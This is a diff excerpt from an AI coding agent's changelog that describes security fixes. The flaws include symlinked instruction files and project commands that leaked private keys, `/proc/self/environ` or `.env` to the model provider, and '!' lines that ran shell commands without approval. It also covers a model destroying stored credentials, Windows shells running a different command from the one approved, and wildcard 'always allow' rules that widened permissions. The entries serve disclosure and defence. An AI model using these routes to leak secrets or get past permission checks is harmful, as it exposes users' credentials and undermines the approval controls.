|
959
|
+
- **A committed instruction file, `REVIEW.md`, project command or `@` mention could put any
|
|
960
|
+
readable file into the prompt** (#539, #543, #559). A repository's `CLAUDE.md` symlinked to a
|
|
961
|
+
private key, `/proc/self/environ` or `.book/settings.local.json` was read as an instruction file,
|
|
962
|
+
so that file went to the provider in the system prompt; a linked `REVIEW.md` went into every
|
|
963
|
+
`/review` pass, a linked `.book/commands/*.md` file went out when its command ran, and an `@path`
|
|
964
|
+
mention of a committed link inlined the link's target. A project instruction file (`CLAUDE.md`,
|
|
965
|
+
`AGENTS.md`, `.claude/CLAUDE.md`, a rules file or `CLAUDE.local.md`), `REVIEW.md` and a project
|
|
966
|
+
command file now load only when their real path is a Markdown file inside the git repository root:
|
|
967
|
+
the nearest `.git` directory or file, found from the real path, with a linked worktree as its own
|
|
968
|
+
root. So a monorepo link such as `packages/a/CLAUDE.md -> ../shared/AGENTS.md` loads. With no
|
|
969
|
+
repository, a file must stay inside the directory it was found in. Above the repository root only
|
|
970
|
+
your home directory and its parents go unchecked; any other directory is checked against itself,
|
|
971
|
+
so an unpacked archive with an empty `.git` cannot vouch for the directory above it. A `.git` in
|
|
972
|
+
your home directory (a dotfiles repository) does not count as a repository root. An `@path`
|
|
973
|
+
mention, typed or in a command body, is inlined only when the Read tool could open its real path:
|
|
974
|
+
inside the workspace or an `additionalDirectories` entry (#567). Otherwise it stays as written,
|
|
975
|
+
with a one-line `Left @<path> as written: <reason>.` notice (on stderr in print mode and the SDK,
|
|
976
|
+
as a transcript line in the TUI). A skipped file gets a one-line warning at start-up:
|
|
977
|
+
in the TUI, on stderr in print mode, in scrollback mode and in the SDK. Your own instruction files
|
|
978
|
+
and commands (the user-global ones) are not checked.
|
|
979
|
+
- **A repository's project command no longer inlines your local files or runs `!` lines unasked**
|
|
980
|
+
(#564, #567). A `.book/commands/*.md` body could mention `@.git/config`,
|
|
981
|
+
`@.book/settings.local.json` or `@.env`, and running the command inlined them into the turn sent
|
|
982
|
+
to the provider, with no prompt, since only shell spans needed approval. In a project command's
|
|
983
|
+
body, arguments included, an `@` mention now inlines only a file git tracks with no local
|
|
984
|
+
changes, judged on the file the read really serves, so a committed link to an untracked `.env` is
|
|
985
|
+
refused; with no repository, or when git fails, nothing in the body is inlined. In the TUI a line
|
|
986
|
+
starting with `!` in a project command's body also ran as a shell command on `/name`, outside the
|
|
987
|
+
approval that covers shell spans; no host runs such a line now. On Windows a path that is, or
|
|
988
|
+
reaches through a link, a UNC location (`\\host\share`, `//host/share`) is refused before
|
|
989
|
+
anything resolves it, so a committed link cannot make Book contact an SMB host; a workspace
|
|
990
|
+
opened by its UNC path (not a mapped drive) loads no project files and inlines no mentions.
|
|
991
|
+
- **No tool can replace a real provider key with the redaction marker any more** (#519, #535). The
|
|
992
|
+
guard from #411 covered only `Write`, `Edit` and `MultiEdit` over a file that held a key, so a
|
|
993
|
+
model could still destroy a credential another way. `Bash` now refuses a command that contains
|
|
994
|
+
the provider-key redaction marker (`redacted_secret_command`), whether it runs in the foreground,
|
|
995
|
+
in the background or times out into the background. `ApplyPatch` refuses to delete a file that
|
|
996
|
+
holds a key, and `ApplyPatch` and `NotebookEdit` refuse to write the marker into a file or cell
|
|
997
|
+
that holds one (`redacted_secret_overwrite`). Beyond that, every file-write tool (`Write`, `Edit`,
|
|
998
|
+
`MultiEdit`, `ApplyPatch` Add and Update, `NotebookEdit`) refuses a write that adds the marker to
|
|
999
|
+
any file (`redacted_secret_write`), which closes the route of writing a new file and moving it
|
|
1000
|
+
over the old one with `mv`. The marker is counted over the whole file before and after the write,
|
|
1001
|
+
so an edit that keeps or removes a quote of it still works. All of this applies only while a
|
|
1002
|
+
provider key is configured.
|
|
1003
|
+
- **Under Git Bash and every other POSIX shell on Windows the Bash tool runs the command the
|
|
1004
|
+
permission check read** (#523, #527, #532, #548). On Windows the MSYS runtime rebuilt a program's
|
|
1005
|
+
argv from the Windows command line: it globbed the words, expanded `@file` arguments and stripped
|
|
1006
|
+
the quotes from a command with no space, tab or `"`, so bash could run a different command from
|
|
1007
|
+
the one the permission check had read; Cygwin's runtime and shims can do the same. Every session
|
|
1008
|
+
shell with a POSIX name (`bash`, `sh`, `dash`, `ash`, `ksh`, `mksh`, `zsh`, versioned names such
|
|
1009
|
+
as `zsh-5.9.exe` included), whatever its runtime (Git Bash, MSYS2, Cygwin, a shim or a copy), now
|
|
1010
|
+
gets the command in the `BOOK_BASH_COMMAND` variable and a fixed `-c 'eval …'` script. The
|
|
1011
|
+
variable is unset before the command runs; `$0`, `$#` and the exit status are unchanged. Only
|
|
1012
|
+
WSL's `bash.exe` and non-POSIX shells (fish, nu, `busybox.exe` under its own name) keep argv
|
|
1013
|
+
delivery. A single quote is read exactly as on Linux only under a shell on the MSYS runtime
|
|
1014
|
+
(`msys-2.0.dll` beside it, or in `..\usr\bin` from a `bin` directory, as in Git for Windows); it
|
|
1015
|
+
is still refused under Cygwin, a shim or a copy without the DLL, busybox, WSL, cmd and PowerShell.
|
|
1016
|
+
The prompt and `book doctor` say which (#566): only a bash on the MSYS runtime is called Git
|
|
1017
|
+
Bash, a shell that refuses `'` is described with a hint to use double quotes, a compound-command
|
|
1018
|
+
refusal caused only by a `'` names that rule, and `book doctor` prints `msys: yes|no` for a
|
|
1019
|
+
Windows bash or sh.
|
|
1020
|
+
- **"Always allow" no longer saves a rule that a wildcard in the call would widen, and `ask` rules
|
|
1021
|
+
hold in `auto`** (#521, #522, #527). "Always allow" saved no rule only for a compound Bash
|
|
1022
|
+
command with a `*`; it now saves none for any call whose own text holds a wildcard: a Bash
|
|
1023
|
+
command with `*`, or a path or WebFetch origin with `*` or `?`. A call with no rule to save shows
|
|
1024
|
+
only Run once and Skip. In a rule pattern `?` now matches exactly one character; it had been read
|
|
1025
|
+
as a regex quantifier, and an exact Bash allow rule still compares as plain text. An `ask` rule
|
|
1026
|
+
now prompts in `auto` too and outranks a wider session approve-all rule, unless that rule is the
|
|
1027
|
+
call's exact one; an unattended run refuses the call and names the ask-rule remedy.
|
|
1028
|
+
`bypassPermissions` is unchanged. On Windows a deny or ask path rule now matches a target outside
|
|
1029
|
+
every root, where backslashes had made it fail open.
|
|
1030
|
+
|
|
7
1031
|
## [0.3.0] - 2026-10-07
|
|
8
1032
|
|
|
9
1033
|
### Security
|